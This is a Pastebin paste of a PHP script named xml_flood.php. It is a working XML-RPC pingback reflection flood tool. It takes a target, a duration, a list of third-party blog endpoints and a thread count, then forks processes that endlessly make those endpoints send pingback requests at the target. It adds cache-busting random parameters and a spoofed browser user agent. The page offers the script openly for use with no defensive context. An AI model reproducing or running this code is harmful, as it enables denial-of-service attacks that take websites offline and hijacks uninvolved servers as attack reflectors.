SHARE
TWEET

xml_flood.php

wtfbbq Sep 28th, 2015 1,224 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //Installation: yum install php-process php-xmlrpc php -y
  3. ini_set('memory_limit', '-1');
  4. set_time_limit(0);
  5. if (!isset($argv[3]))
  6. {
  7. echo "Usage: php ".$argv[0]." [target] [time] [list] [threads] \r\n";
  8. exit;
  9. }
  10. function partition($list, $p)
  11. {
  12.     $listlen   = count($list);
  13.     $partlen   = floor($listlen / $p);
  14.     $partrem   = $listlen % $p;
  15.     $partition = array();
  16.     $mark      = 0;
  17.     for ($px = 0; $px < $p; $px++) {
  18.         $incr           = ($px < $partrem) ? $partlen + 1 : $partlen;
  19.         $partition[$px] = array_slice($list, $mark, $incr);
  20.         $mark += $incr;
  21.     }
  22.     return $partition;
  23. }
  24. $part        = array();
  25. $array       = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  26. $childcount  = $argv[4];
  27. $part        = partition($array, $childcount);
  28.  
  29. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  30. shmop_close($shm_id);
  31. for ($i = 0; $i < $childcount; $i++) {
  32.     $pid = pcntl_fork();
  33.     if ($pid == -1) {
  34.         echo "failed to fork on loop $i of forking\n";
  35.         exit;
  36.     } else if ($pid) {
  37.         continue;
  38.     } else {
  39.         $sem    = sem_get(13377331, 1, 0666, 1);
  40.         $shm_id = shmop_open(23377332, "c", 0666, 1024);
  41.         while (true) {
  42.             foreach ($part[$i] as $line) {
  43.                                 $arr = explode(" ",$line);
  44.                 $ch         = curl_init();
  45.                 $curlConfig = array(
  46.                     CURLOPT_URL => $arr[1],
  47.                     CURLOPT_RETURNTRANSFER => 1,
  48.                     CURLOPT_HEADER => false,
  49.                     CURLOPT_HTTPHEADER => array("Content-Type: text/xml"),
  50.                     CURLOPT_POSTFIELDS => xmlrpc_encode_request("pingback.ping", array($argv[1].'?'.rand(1,1000).'='.rand(1,1000), $arr[0])),
  51.                     CURLOPT_SSL_VERIFYPEER => false,
  52.                     CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6',
  53.                     CURLOPT_FOLLOWLOCATION => 1,
  54.                     CURLOPT_TIMEOUT => 1
  55.                 );
  56.                 curl_setopt_array($ch, $curlConfig);
  57.                 curl_exec($ch);
  58.                 curl_close($ch);
  59.                 sem_acquire($sem);
  60.                 $number = shmop_read($shm_id, 0, 1024);
  61.                 $number = intval($number);
  62.                 $number++;
  63.                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
  64.                 sem_release($sem);
  65.             }
  66.         }
  67.         die;
  68.     }
  69. }
  70.  
  71. $sem    = sem_get(13377331, 1, 0666, 1);
  72. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  73. $total  = 0;
  74. $time = 0;
  75. while (true) {
  76.     $time++;
  77.     sem_acquire($sem);
  78.     $number = shmop_read($shm_id, 0, 1024);
  79.     $total += $number;
  80.     echo $number . " R/s " . $total . " Total                              \r";
  81.     shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
  82.     sem_release($sem);
  83.     sleep(1);
  84.     if ($time > $argv[2]) {
  85.         shell_exec('pkill -f "php ' . $argv[0] . ' ' . $argv[1] . ' ' . $argv[2] . ' ' . $argv[3] . ' ' . $argv[4] . '"');
  86.         echo "Done\n";
  87.     }
  88. }
  89.  
  90. for ($j = 0; $j < $childcount; $j++) {
  91.     $pid = pcntl_wait($status);
  92. }
  93.  
  94. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top